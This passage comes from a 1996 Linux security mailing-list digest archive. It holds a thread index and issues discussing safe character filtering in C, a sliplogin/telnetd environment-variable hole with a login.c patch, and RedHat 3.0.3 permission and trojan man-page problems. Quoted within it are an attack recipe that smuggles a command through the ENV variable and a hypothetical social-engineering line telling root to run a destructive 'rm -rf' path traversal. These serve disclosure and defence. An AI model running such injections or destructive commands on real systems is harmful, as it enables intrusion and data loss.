v01.n008 Securing the console of a linux syste... v01.n021 SECURITY: Announcing Splitvt 1.6.3 v01.n051 SECURITY: NFS Vulnerability v01.n010, v01.n011 SECURITY: problem with some wu-ftpd-2... v01.n023 SECURITY ALERT: Dangerous hole in vac... v01.n030 security hole in deliver v01.n035 security hole in old versions of at f... v01.n016 security hole in Yggdrasil Linux v01.n016 Security problem in proc fs v01.n020 Security Problem with DOSEMU v01.n031 selection summary v01.n033, v01.n034 SENDMAIL 8.7 SECURITY ALERT v01.n038 Serious security hole: log files v01.n017 Sh*dow Passwords? v01.n001, v01.n002, v01.n003, v01.n004 shadow-3.3.1 useradd bug v01.n014 Shadow discussions v01.n003, v01.n004 Shadow discussions ... don't forget ... v01.n004, v01.n005 Shadow Passwords? v01.n001, v01.n002, v01.n003, v01.n004 Should root own binaries? v01.n022 skey + shadow-3.3.1 logins v01.n022 Skey use with Linux v01.n014 Slackware v01.n014, v01.n015 slackware 3.0 bad hole v01.n042 Slackware ftpd wrap-up v01.n042 Slight change in Majordomo server del... v01.n046, v01.n047 Slight mail hub problems: three "drop... v01.n055 Somebody else to report bugs to v01.n012 source routing v01.n035, v01.n036 SSL protocol v01.n013 SSLtelnet patch v01.n043, v01.n044, v01.n046 SUDO bug v01.n018, v01.n019 Surge in list traffic, pending remova... v01.n045 SvgaLib (was Re: Secure setup for fil... v01.n005, v01.n006, v01.n007 switching symlinks on atrun v01.n022 syslog(2), libc-4.7.4: Versions confu... v01.n035 telnetd.95.10.23.patch v01.n047, v01.n048 telnetd/ld.so security hole. v01.n048 Telnetd Environment Vulnerability v01.n043, v01.n044 telnetd hole v01.n046 Telnetd Security Hole v01.n043a, v01.n044 telnetd shared lib hole v01.n043, v01.n043a, v01.n044, v01.n046 Telnet vulnerability: shared librarie... v01.n044 Telnet vulnerability: shared libraries v01.n043a telnet vulnerability giving root access v01.n043a Tentative fix for BSD lpr v01.n028, v01.n029 The FTP Bounce Attack (fwd) v01.n027 Thread on telnet, $LD_LIBRARY_PATH se... v01.n046 Trojan in Linux Satan Binaries v01.n017 tty permissions v01.n005, v01.n006, v01.n007, v01.n008 tty utilities follow up v01.n008 URGENT: Linux Security FAQ Update#7: ... v01.n041 useradd bug v01.n017 Wher to find minicom-1.71 v01.n035 write does not clear suids bit v01.n030 wu-ftp v01.n023 wu-ftp - visible passwords. v01.n031 Wu-ftpd. v01.n022, v01.n023 wu-ftpd: affected ditributions v01.n023 wu-ftpd and /proc again v01.n024 wu.ftpd InfoMagic March 1995 Fix. v01.n024 XDM-AUTHORIZATION-1 v01.n033 XDM creates "floating" socket? v01.n012 YAWTCQ v01.n028, v01.n029 Yet another NFS hole v01.n006, v01.n007 Yggdrasil Linux (mis)configuration pr... v01.n026 ypupdated hole v01.n051 linux-security-digest/v02.n014100664 1767 1767 50474 6131533362 15451 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #14 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 6 April 1996 Volume 02 : Number 014 [linux-security] two comments.. Re: [linux-security] two comments.. Re: [linux-security] sliplogin hole explanation [linux-security] Re: BoS: Re: Vulnerabilities in mgetty+sendfax (root access by fax) Re: [linux-security] two comments.. Re: BoS: Re: [linux-security] two comments.. [linux-security] good character, bad character Re: [linux-security] good character, bad character Re: [linux-security] sliplogin hole explanation ---------------------------------------------------------------------- From: *Hobbit* Date: Wed, 3 Apr 1996 13:02:59 -0500 Subject: [linux-security] two comments.. 1> syslog: If you block UDP 514 but log denied packets, you have not quite disabled the obvious flooding attack! 2> good chars vs. bad chars: Why do SO many people do checks of this sort in ways akin to the suggested fax-mgetty fix code if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || c == ';' || c == '(' || c == ')' || c == '>' || c == '<' || c == '|' || c == '?' || c == '*' || c == '\''|| c == '"' || c == '`' ) ... where simply taking your character and using it as an index into a predefined good/bad array is a> faster and b> more easily configured for an "allow only known-good chars" basis rather than a "deny the bad chars we just happened to think of now" basis? Much less margin for errors such as allowing newlines and escapes and other trash, and [I tested this and shit you not] about double the speed of the above check. For example, this array [which some compilers may be unhappy about as given, oh well] roughly mirrors the above code: static unsigned char bflgs[] = { 1, 1, 1, 1, 1, 1, 1, 1, /* nul - ^G */ 1, 1, 1, 1, 1, 1, 1, 1, /* ^H - ^O */ 1, 1, 1, 1, 1, 1, 1, 1, /* ^P - ^W */ 1, 1, 1, 1, 1, 1, 1, 1, /* ^X - ^_ */ 0, 1, 0, 1, 1, 1, 0, 0, /* sp - ' */ 0, 0, 0, 1, 1, 1, 1, 0, /* ( - / */ 1, 1, 1, 1, 1, 1, 1, 1, /* 0 - 7 */ 1, 1, 1, 0, 0, 1, 0, 0, /* 8 - ? */ 0, 1, 1, 1, 1, 1, 1, 1, /* @ - G */ 1, 1, 1, 1, 1, 1, 1, 1, /* H - O */ 1, 1, 1, 1, 1, 1, 1, 1, /* P - W */ 1, 1, 1, 1, 0, 1, 1, 1, /* X - _ */ 0, 1, 1, 1, 1, 1, 1, 1, /* ` - g */ 1, 1, 1, 1, 1, 1, 1, 1, /* h - o */ 1, 1, 1, 1, 1, 1, 1, 1, /* p - w */ 1, 1, 1, 1, 0, 1, 0, 0 /* x - del */ }; /* bflgs */ and characters are easily sanitized/checked/whatever by or-ing out the high bit from the character in question and doing something like register unsigned char q; register int x; for (x = 0; x <= len; x++) { q = (unsigned char) (string[x] & 0x7f); /* rip hibits */ if (q == 0) break; /* end of string */ if (bflgs[q] == 0) { appropriate code /* bad char, no donut */ } else { appropriate code /* good char, DTRT */ } } /* for */ You can also assign other meanings inside the array, such as "good as is", "no-questions-asked-BAD", "must superquote for the shell", "replace with something innocuous", etc, and switch appropriately. All this really strikes me as C 101, but I see an awful lot of gnarly code kicking around that tries to accomplish similar goals in inelegant and inefficient ways. The fax-getty bandaid took the cake for me, so I whipped up a comparative speed test for both methods. Looking at the output assembler is alone convincing, before even running the test. The above array would ideally begin life in "completely anal" mode, and have other characters made "valid" as needed for specific applications. static unsigned char bflgs[] = { 0, 0, 0, 0, 0, 0, 0, 0, /* nul - ^G */ 0, 0, 0, 0, 0, 0, 0, 0, /* ^H - ^O */ 0, 0, 0, 0, 0, 0, 0, 0, /* ^P - ^W */ 0, 0, 0, 0, 0, 0, 0, 0, /* ^X - ^_ */ 0, 0, 0, 0, 0, 0, 0, 0, /* sp - ' */ 0, 0, 0, 0, 0, 0, 0, 0, /* ( - / */ 1, 1, 1, 1, 1, 1, 1, 1, /* 0 - 7 */ 1, 1, 0, 0, 0, 0, 0, 0, /* 8 - ? */ 0, 1, 1, 1, 1, 1, 1, 1, /* @ - G */ 1, 1, 1, 1, 1, 1, 1, 1, /* H - O */ 1, 1, 1, 1, 1, 1, 1, 1, /* P - W */ 1, 1, 1, 0, 0, 0, 0, 0, /* X - _ */ 0, 1, 1, 1, 1, 1, 1, 1, /* ` - g */ 1, 1, 1, 1, 1, 1, 1, 1, /* h - o */ 1, 1, 1, 1, 1, 1, 1, 1, /* p - w */ 1, 1, 1, 0, 0, 0, 0, 0 /* x - del */ }; /* bflgs */ It seems to me that another lousy 128 bytes of static storage is well worth the versatility such an approach would give someone writing security-sensitive code that deals with user input. Why, for example, should Web servers be handling any control characters other than newline elements at all? Why a thousand other similar questions about daemons in our daily lives?? _H* ------------------------------ From: [email protected] (Wietse Venema) Date: Thu, 4 Apr 96 20:06:01 MET DST Subject: Re: [linux-security] two comments.. *Hobbit* wrote: [lookup tables that can fill an entire screen] Hobbit, with due respect, these tables make it rather difficult to spot in a glance what is being allowed and what not. In the problem at hand, speed is really not an issue; ease of verification should come first. Here is my suggestion, taken from the tcp wrapper. Any oversight in the set of allowed characters is easily identified. static char ok_chars[] = "1234567890!@%-_=+:,./\ abcdefghijklmnopqrstuvwxyz\ ABCDEFGHIJKLMNOPQRSTUVWXYZ"; ... for (cp = stuff; *(cp += strspn(cp, ok_chars)); /* */ ) *cp = '_'; Perhaps it is time to impose an ECO tax on every line of code written. Wietse ------------------------------ From: Robert Mark Waugh Date: Tue, 02 Apr 1996 10:54:49 -0500 Subject: Re: [linux-security] sliplogin hole explanation - -------- > In message Olaf Kirch writes: > > > > >You then log into your regular slip account, which executes sliplogin as > >your login shell. Sliplogin, in turn, runs the /etc/slip.login shell > >script using bash. At startup, bash evaluates *and expands* ENV to > >obtain the name of a startup file to use instead of .bashrc, and > >faithfully executes /evil/command. This security hole is easily avoided. When you compile bash, be sure to compile it with RESTRICTED_SHELL configured (config.h). Then, simple instead of invoking bash, invoke rbash or bash -r. This disables the ability for the user to: 1. cd 2. output redirection that could possibly be destructive 3. assign a new value to shell, env, or path 4. specify any pathname with / in the path. This restricts them to cwd commands. 5. using the exec builtin You then setup the PATH and other such things to do what you need it to do in their .bashrc. You can also specify in the shell entry specific resources to be loaded avoiding system defaults. This avoids the need to create specialized login shells that "zap" the passed environments, which is a bad idea if you have differing systems that aren't compatable on a binary level. You also might consider developing a heirarchal group algorithm, which, since standard UNIX doesn't handle nested group memberships, can be painful, yet, can provide excellent security procedures. - -- =================================================================== | Robert Mark Waugh | [email protected] | Research Technology | oink. ------------------------------ From: [email protected] (Peter da Silva) Date: Tue, 2 Apr 1996 17:29:41 -0600 (CST) Subject: [linux-security] Re: BoS: Re: Vulnerabilities in mgetty+sendfax (root access by fax) > Hmmm. Not the proper place to fix it (but the easy one). The fax ID > should be passed to the calling functions "as-is", but they should > check better before calling "system()". IMHO, no program that runs as root should call "system". I know it's tough (and I don't always manage to do it right myself), but when I do call it it's *always* assumed to be dangerous. It should be possible to do: execlp(...); execl("/bin/sh", ...); barf(); (which used to be what everyone did anyway) [Mod: This thread is drifting away from Linux-related security and into the realm of "generally good system programming practices," so follow-ups, critiques, etc., along these lines should be directed to the posts' authors and not to the list. Thanks! --Jeff.] ------------------------------ From: Detlef Lannert Date: Thu, 4 Apr 1996 15:01:51 +0200 (MET DST) Subject: Re: [linux-security] two comments.. Hobbit wrote: [Mod: Quoting trimmed. --Jeff.] > static unsigned char bflgs[] = { > 1, 1, 1, 1, 1, 1, 1, 1, /* nul - ^G */ [ 14 lines of obvious contents deleted ] > 1, 1, 1, 1, 0, 1, 0, 0 /* x - del */ > }; /* bflgs */ > > and characters are easily sanitized/checked/whatever by or-ing out the > high bit from the character in question and doing something like > > register unsigned char q; > register int x; > > for (x = 0; x <= len; x++) { > q = (unsigned char) (string[x] & 0x7f); /* rip hibits */ > if (q == 0) > break; /* end of string */ > if (bflgs[q] == 0) { > appropriate code /* bad char, no donut */ > } else { > appropriate code /* good char, DTRT */ > } > } /* for */ Objection, Your Honour! (a) Not every machine uses us-ascii encoding internally. Those with, say, ebcdic are getting rare, but they still exist, and there may be other strange architectures as well. Posix does not make any assumptions about the specific order in which uc/lc letters, digits, etc. appear, and a sensible program should not either. (b) Not everyone uses the English alphabet. There are a few of us who sometimes uses those strange characters in the code range of 128..255. Even if full Unicode multibyte encodings are not supported, Latin-1 (ISO-8859-1) and the like should be acceptable. Just folding the upper half of the possible one-byte values onto the lower half and then indexing a table will produce, hmm, unsatisfactory results. [Mod: For both of these points it strikes me that such decisions--allowing extended character codes and addressing ASCII/EBCDIC/etc. issues--should be made case-by-case depending upon the intended use of the passed characters and the desired level of code portability, respectively. There isn't One Great Solution here, IMHO, so let's try not to "what if" this to death.... --Jeff.] Let me suggest a different approach. It might have other flaws -- I'm not a C guru and will be thankful for any corrections and/or improvements -- but it is quite short and, I hope, gets the code issue right. It burns a few more bytes of storage, but that shouldn't really matter in this age of the pentiums and megabytes. Here it goes: /* initialization */ unsigned char badchars[] = "'\n\e\"" /* or such */; unsigned char allchars[256] = { 0 }; int i; unsigned char *p; for (p = badchars; *p; p++) allchars[*p] = 1 /* or whatsoever */; /* some thousand lines later ... */ unsigned char string[...]; /* ... */ for (x = 0; x <= len; x++) { if (q = allchars[string[x]]) { /* handle a bad character */ } else { /* do something useful */ } } I agree with your further remarks on using such a table to denote various character classes, and on being restrictive wrt the acceptable control characters. But -- if at all possible -- let the >0x7f characters pass! Detlef - -- Detlef Lannert +49-211-8113905 E-Mail: [email protected] PGP 2.x key available (finger [email protected]) "Ordnung ist etwas fuer Leute, die nicht eins sind mit der Welt." - Max Frisch ------------------------------ From: Adam Shostack Date: Thu, 4 Apr 1996 09:36:33 -0500 (EST) Subject: Re: BoS: Re: [linux-security] two comments.. One of Hobbit's main points was that there are no bad characters; only characters not in the set of good characters. You should always check to see if the character is one that you expect, not one you think is bad. People forget about bad characters, but rarely include characters they can't handle in the set that they can. Also, please remember that best-of-security should be limited discussion. [Mod: And this thread has drifted away from Linux security as well. Also, quoting trimmed. --Jeff.] - -- "It is seldom that liberty of any kind is lost all at once." -Hume ------------------------------ From: *Hobbit* Date: Thu, 4 Apr 1996 19:08:24 -0500 Subject: [linux-security] good character, bad character By no means did I mean to start a flamewar, and per charter, this is the last that BOS shall hear from me on the subject. My message was in large part a QUESTION, really, asking "why aren't people adapting a different philosophy toward character filtering?" The example given was just that, and certainly not meant to be a shining example of good coding style. I never *took* C 101, remember, I just hack at this stuff. I've always held the highest respect for Weitse's code as a solid and very readable presentation, and would recommend it to anyone seeking good examples. In fact I had that precise snippet of tcp_wrapper code, used to parse IDENTD responses if I remember correctly, in mind when thinking about this whole problem of user-supplied characters. Weitse's *philosophy* is the same one I'm advocating, and as he points out his approach is much easier to verify at a glance than my gnarly table. [Some more comments in the table might help, but I've got *my* ascii chart handy.] And I will certainly agree that a one-off run of something under inetd is rarely going to be a performance bottleneck. However, when one is trying to speed-tweak something like a high-volume web server that will be reading, checking, and massaging many lines of user input per second, the gnarly table approach might have its advantages. Whatever. The people writing web servers clearly aren't reading this list anyways, so what's the difference. _H* ------------------------------ From: [email protected] (Igor Chudov @ home) Date: Fri, 5 Apr 1996 07:02:31 -0600 (CST) Subject: Re: [linux-security] good character, bad character [Mod: I'm forwarding this mainly because it takes a step toward bridging the gap between Wietse's and Hobbit's approaches. --Jeff.] *Hobbit* wrote: > > However, when one is trying to speed-tweak something like a high-volume > web server that will be reading, checking, and massaging many lines of user > input per second, the gnarly table approach might have its advantages. > Whatever. The people writing web servers clearly aren't reading this list > anyways, so what's the difference. > Reading all this interesting discussion, a thought occurred that there is a way to make you both right. I think that the method below (possibly implemented in a separate C file) may be widely used. #define MAX_CHAR 256 char * create_char_table( const char * good_chars ) { char * result = (char *) malloc( MAX_CHAR ); int i; if( result == NULL ) return 0; /* Malloc failed */ for( i=0; i < MAX_CHAR; i++ ) result[i] = 0; /* by default all are bad */ while( *good_chars ) result[*(good_chars++)] = 1; /* set all good chars */ return result; } #define GOOD_CHAR( c, table ) ((table)[c]) Usage: ... when initializing everything: char * good_characters = init_char_table( "abcdefghijklmopqrstuvwxyz" "ABCDEFGHIJKLMOPQRSTUVWXYZ" "0123456789+-,." ); and when the work is done: if( !GOOD_CHAR( some_string[i], good_characters ) ) some_string[i] = '_'; Your opinion? This is how I do filtering for incoming commands to the robomoderator program that I wrote. Works fast and is still readable. - Igor. ------------------------------ From: [email protected] (Yury Shevchuk) Date: Sat, 6 Apr 96 13:52 +0400 Subject: Re: [linux-security] sliplogin hole explanation >In message Olaf Kirch writes: >>We all know that you can pass most environment variables to a login >>shell when started through telnetd. Assuming you have the password for a >>sliplogin account on a Linux box, you can pass the ENV variable in this >>fashion. >> >>The attack goes something like this: >> >>ENV='`/evil/command`' telnet >>telnet> environ export ENV >>telnet> open targethost >> >>You then log into your regular slip account, which executes sliplogin as >>your login shell. Sliplogin, in turn, runs the /etc/slip.login shell >>script using bash. At startup, bash evaluates *and expands* ENV to >>obtain the name of a startup file to use instead of .bashrc, and >>faithfully executes /evil/command. > >This is more than only a sliplogin hole! The same attack is >applicable to every account with shell script as a login shell. Of >course, you won't right away get the root shell, as in sliplogin's >case, just a shell with the account's uid, but... I think I have found a way to close this and related holes. The solution is to patch /bin/login to destroy environment in spite of the - -p option passed from telnetd, if the login shell is not in /etc/shells. Grounds: if your shell is in /etc/shells, then your password gives you full shell access to the system, and environment tricks won't buy you more. The tricks are only useful when your login shell is not a normal shell, but rather a script or a program which gives you specific restricted access to the system, and you want to fool it to execute arbitrary commands on the system for you. So by clobbering environment when login shell is not in /etc/shells we preserve functionality for normal accounts, and remove the danger for restricted accounts. Note that this approach requires that your /etc/shells contents agreed with the definition of /etc/shells: only general shells should be listed there. Sometimes people violate this rule: for example, a typical advise for getting ftp-only accounts work with wu-ftpd is "set the login shell to /bin/false and add /bin/false to /etc/shells, or wu-ftpd won't let you in". This suggestion is a kludge; the proper fix is to change wu-ftpd to bypass /etc/shells check for chrooted guest accounts. - -- Yury Shevchuk - -------------------------------------------------------------------------- This is a patch to util-linux-2.5/login-utils/login.c which closes the security hole that exploits interpretation of IFS, ENV, etc. by scripts and custom programs used as login shells, for example /sbin/sliplogin or /bin/false. - --- login.c 1996/04/06 07:25:58 1.1 +++ login.c 1996/04/06 08:35:45 1.2 @@ -156,10 +156,11 @@ void badlogin P_((char *name)); char *stypeof P_((char *ttyid)); void checktty P_((char *user, char *tty, struct passwd *pwd)); void getstr P_((char *buf, int cnt, char *err)); void sleepexit P_((int eval)); +int general_shell P_((char *shell)); #undef P_ #ifdef KERBEROS #include #include @@ -674,12 +675,16 @@ if(!((ep = getenv("TERM")) && (termenv = strdup(ep)))) termenv = "dumb"; } - - /* destroy environment unless user has requested preservation */ - - if (!pflag) + /* destroy environment unless user has requested preservation. + Also destroy environment when login shell is not a normal + shell, to disable all tricks that use IFS, ENV, etc. to get + full shell access out of shell scripts used as specialized + login shells. */ + if (!pflag || !general_shell(pwd->pw_shell)) { environ = (char**)malloc(sizeof(char*)); memset(environ, 0, sizeof(char*)); } @@ -994,5 +999,26 @@ { sleep((unsigned int)5); exit(eval); } +/* return 1 if `shell' is a general shell (i.e. found in /etc/shells); + 0 otherwise. */ + +int +general_shell(shell) + char *shell; +{ + char *p; + int ret = 0; + + setusershell (); + while((p = getusershell ())) { + if (strcmp (p, shell) == 0) { + ret = 1; + break; + } + } + endusershell (); + + return ret; +} - -------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #14 *********************************** linux-security-digest/v02.n015100664 1767 1767 33640 6134126402 15442 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #15 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 14 April 1996 Volume 02 : Number 015 Re: [linux-security] sliplogin hole explanation Re: [linux-security] good character, bad character [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... ---------------------------------------------------------------------- From: [email protected] (Yury Shevchuk) Date: Sun, 7 Apr 96 09:13 +0400 Subject: Re: [linux-security] sliplogin hole explanation In message <[email protected]> Peter Orbaek writes: >This last paragraph indicates to me that you are changing one program >(login) to fix a problem with another (bash). Why not fix bash instead so >it won't use ENV for login shells or somesuch? Yes, it's possible -- but to make a robust system this way you'll have to fix possibly exploitable environment dependencies in every interpreter on the system that can be used for login scripts: bash, ash, ksh, csh (oh yes), I'm afraid even perl may be vulnerable via PERLLIB... Also, once an interpreter is called, I can't see an easy way to find out whether an interpreter is called from safe or unsafe environment, so it's hard to tell if we should get suspicious on ENV, IFS, and other environment variables or not. On the other hand, /bin/login is a good place to fix because it is at the junction and has all necessary info handy -- and after all, login's duty is to let you in but leave your weapons out the door. :-) > Or tell people that they >should avoid bash for login scripts and should use something like >perl with tainting turned on. , or be cautious to use a wrapper around shell scripts to clean the evniroment before calling shell. Yes, it's a solution too. But I think that a "tell people" solution is always worse than to fix one program and forget about the problem. I also think that the whole hole is due to the fact that people intuitively expect to wake up in safe environment when called from login, and this expectation fails. So it's login that is wrong, and it's login that should be fixed. Regards, - -- Yury > - Peter [please Cc: me if you discuss this on the security list, > I'm not yet subscribed to that one] > ------------------------------ From: Lars Wirzenius Date: Sun, 07 Apr 1996 20:51:01 +0300 Subject: Re: [linux-security] good character, bad character Igor Chudov @ home: > #define GOOD_CHAR( c, table ) ((table)[c]) This is probably not on topic for the list, but in machines that have signed characters, you should never use a plain char as an index unless you're really sure the character is non-negative. Otherwise cast it to unsigned char or do something else to fix it. - -- - -- Lars Wirzenius MIME and PGP mail welcome. Key: finger @kruuna, or check keyservers. KeyID: 4CBA92D1 Fingerprint: E7 FA 89 85 6D 9B 78 1D F5 30 EB FB D8 11 CA 3F Publib 0.5: ftp://ftp.cs.helsinki.fi/pub/Software/Local/Publib/ ------------------------------ From: Zygo Blaxell Date: Wed, 10 Apr 1996 14:46:16 -0400 (EDT) Subject: [linux-security] Security problems in RedHat 3.0.3... Hmmm...after running 'ftp-install' on RedHat 3.0.3, I find two disturbing things--neither of which is an exploitable security hole per se, but they can be combined with bugs that would otherwise be harmless to become vulnerabilities. The first problem regards file permissions and the contents of the default /etc/group file, which can be used to turn harmless bugs into root access. Problem 1. 'root' is a member of several groups in /etc/group, and there are lots of files like this: - -rw-rw-r-- 1 root root 357544 Feb 27 05:02 /usr/bin/... This means that if any program run as root fails to do initgroups() properly when running an unprivileged child, it will give away write access to these files. The initgroups() bug has been a problem in the past with several programs like cfingerd (.fingerrc files were run with the right e?[ug]id, but the group list was root's), cron (configure failed to detect initgroups() for some reason, and just never called it), xdm, and so on. Now, arguably, the correct solution is to fix all these programs and educate developers about good code design and testing; however, this hasn't worked very well in the past and certainly won't get any better in the future. Many (though not enough) developers understand and test for obvious problems like child processes running as root when they shouldn't be; fewer check for problems with group access; and even fewer bother with initgroups() and all of its less-portable clones and operating system idiosyncrasies. If someone compromises an NFS client with write access, they can often have any group ID they want to use on any file they can access on the NFS server. Also, if you can get access to 'bin' or 'daemon' (both in group 'root' in RedHat), then you can modify files in group root as well, if you have write permission. Since there are so many of these programs, and the new ones have this sort of problem all the time, I suggest the following additional measures: Fix 1: delete the word 'root' every time it appears to the right of a colon in /etc/group. Think about it: the root user doesn't *need* group access to *anything*. The supplementary groups list for daemons run as root should really be empty, because less-privileged child processes might accidentally inherit it. Fix 2: Remove group write permissions from anything (files and directories) that doesn't *need* them. This includes just about everything under /usr. Fix 1 and fix 2 combined would be even better. I use a policy for files in /usr/bin similar to "all files in /usr/bin are owned by root, group root, mode 555, unless they must be setuid and/or setgid, in which case they become one of 6555, 4555, or 2555 and owner or group changes accordingly". This makes it easy to spot files that don't fit the pattern. Giving binaries default permissions like 4111 (as opposed to 4555, i.e. denying read permission) is not even marginally effective as a security measure--if you installed a FooBar 4.5.6 distribution, then someone else can get one and read the files in their copy of the same distribution. It is probably effective as a copy-protection measure, but copy-protection is inappropriate for freely available software (which most of RedHat is). It might be effective if one made *all* files mode 4111 *and* made local modifications to the system, since any vulnerabilities created or removed by these modifications would be harder to discover. This is security through obscurity: no vulnerabilities are fixed by the permission change, they merely take a few minutes longer to find, and the attacker must find them through active experimentation. For the security-conscious even measures that delay rather than prevent are useful. Problem 2: I typed 'man 8 somefile' (program name changed to protect the innocent ;-) and found this in /var/catman/cat8: - -r--rw-r-- 1 zblaxell man 11252 Apr 10 10:47 somefile.8.gz This is a little disturbing; it means that any user can rewrite man pages if they read them before any other user did. This can lead to all sorts of entertaining social engineering attacks against neophyte users (or worse, sysadmins). Imagine: "To restart the news server after modifying the configuration file, be sure to remove any state files and purge the news database. You can do this by typing 'rm -rf /var/spool/news/../../../ &' as root--the news server daemon will rebuild its state files automatically when it is next started. This can take a long time (several hours) on busy news servers." Fix 1: make the man program operate setuid instead of setgid. This will prevent users from having access to the cat files. This also brings up a number of runtime environment issues: has the user set an alarm() before execve()ing man? What happens to the catman page if the user kills the man process half-way through? What if the man page formatting program (which runs under the user's own privileges) is subverted through environment variables (which aren't stripped out whatever RedHat's using as /usr/bin/man) or process tracing? Fix 2: rm -rf /var/catman, chmod ug-s /usr/bin/man, and do without a man page cache. Linux on a P133 can format the perl4 man page in less than five seconds, and computers only get faster. Fix 3: implement a remote man page daemon from inetd: rman stream tcp nowait man:man /usr/sbin/tcpd in.rmand in.rmand can be a simple perl script that allows /(\d\w*? )\w[\w.+-]*/ as a query (optional digits followed by letters followed by space, then an alphanumeric character, then more alphanumeric characters, dots, dashes, and + characters), runs 'man' as user 'man' (or other non-root alternative) group 'man', with no pager. Access control to 'rmand' can be provided by 'tcpd', by firewall configuration, by implementing it instead with a Unix-domain socket, or by adding support for an access list to rmand itself. Once this is set up, then 'man' can be stripped of set[ug]id bits (and should refuse to run when given them, explaining its sordid past and what to do instead). The 'man' program would then contact 'rmand' for all simple queries (e.g. 'man 3 syslog') and bypass the page cache in /var/catman by itself for all other queries (i.e. ones that request troff formatting or preprocessors). More ambitious implementations should allow for a remote man page server with system type and language queries. For example, a query might look like 'Linux 1.3.84 de_DE.88591,ja_JP.jis,en_US 1x color-xterm 2.3' for the 'color-xterm' man page in Germany, Japanese, or English, for Linux version 1.3.84, color xterm version 2.3. The client should be able to handle multi-part responses in case more than one man page shows up. Since HTTP implements all this anyway, it might be even smarter to just make the 'man' command transparently access a CGI script using a minimal subset of HTTP. This has these advantages: - Rapid implementation of minimal servers. If you only have one OS, version, language, encoding, and man page to choose from, you can just ignore these fields in the queries and hard-code them in the responses, and use a small subset of HTTP to simplify implementation. Thus the 'man' command becomes a simple HTTP client (<25 lines) with pager. It isn't necessary to support HTML, since the catman pages are text/plain anyway. - Use of standard tools and protocols. You don't have to implement an HTTP server if you can use an existing one. Plus, you can take advantage of HTTP/MIME features like language and character-encoding support if you do have an international-aware HTTP server. - Somehow, we lost the original problem. HTTP already has support for caching, possibly eliminating the need for a separate man page cache. There are also disadvantages: - IP/DNS spoofing and the usual HTTP cache consistency issues. Is asking a network host for your system documentation (even if it is localhost) more secure than reading a file on the local filesystem, even if that file can be rewritten at will by its creator? - Complexity/reliability issues. This means you *need* to run a network server of some sort if you want to cache man pages. This probably isn't an issue for distribution maintainers, since they can just add the server to the "base" system when man pages and the 'man' program are installed. - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: [email protected] (Rogier Wolff) Date: Fri, 12 Apr 1996 20:37:53 +0200 (METDST) Subject: Re: [linux-security] Security problems in RedHat 3.0.3... > > Fix 1: make the man program operate setuid instead of setgid. This [Unverified rumor] Ehm.... while on the subject of "man" bugs, man and/or groff will run arbitrary programs under specification of the man-page-writer....... Do you still want "man" running setuid? (Yes I understand, you want man running as an upriviliged user. However in combination with the bug above, this will subvert your suggested fix) Roger. - -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses are supported by their authors, ** ** use optimized, small code and usually perform well, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ From: Olaf Kirch Date: Sat, 13 Apr 1996 20:31:20 +0200 Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Rogier Wolff wrote: > [Unverified rumor] > Ehm.... while on the subject of "man" bugs, man and/or groff will run > arbitrary programs under specification of the man-page-writer....... That would be a nasty. groff supports the .sy command to run arbitrary programs. In combination with being able to do `man ./foo.1' that's a hole regardless of whether it's setuid or setgid. I just checked my (admittedly old) man, version 2.2 dated Dec 1994; it does indeed reset uid, but not the gid. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ End of linux-security-digest V2 #15 *********************************** linux-security-digest/v02.n016100664 1767 1767 73657 6135274742 15473 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #16 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 17 April 1996 Volume 02 : Number 016 Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... [linux-security] Trojan manpages summary and suggestions [linux-security] LSF: Cryptographic Filesystem under Linux ---------------------------------------------------------------------- From: [email protected] Date: Sat, 13 Apr 1996 22:13:20 +0200 Subject: Re: [linux-security] Security problems in RedHat 3.0.3... : > Fix 1: make the man program operate setuid instead of setgid. This : [Unverified rumor] : Ehm.... while on the subject of "man" bugs, man and/or groff will run : arbitrary programs under specification of the man-page-writer....... : Roger. What is the use of unverified rumours? What is `man'? I know of some seven man programs in use under Linux, two in common use. I maintain one of these - man-1.4* - and am not aware of security-related bugs (although it is quite possible that some exist). If anything is wrong, point it out, and it will be corrected. Andries [mod: To clarify things a bit: The man porgram I was referring to in my previous post was G. Wilford's man_db package; the latest version (2.3.10) still fails to drop setgid privilege, but works okay for setuid. Andries' man-1.4f resets both euid and egid. --okir] ------------------------------ From: Zygo Blaxell Date: Mon, 15 Apr 1996 12:07:07 -0400 (EDT) Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Quoted from Rogier Wolff: > > Fix 1: make the man program operate setuid instead of setgid. This > > [Unverified rumor] > Ehm.... while on the subject of "man" bugs, man and/or groff will run > arbitrary programs under specification of the man-page-writer....... > > Do you still want "man" running setuid? (Yes I understand, you want > man running as an upriviliged user. However in combination with > the bug above, this will subvert your suggested fix) Arbitrary programs? This sounds like a *really* bad problem no matter what circumstances the 'man' program runs under. It means that we can have man page trojans, among other things. Exactly how is this mechanism invoked? Can we fix vulnerabilities introduced by the man page writer? If the man page writer is strictly limited in what commands can be invoked and what parameters they can use, it should be relatively easy to contain things. I thought that was the intent of the lines in /etc/man.config that 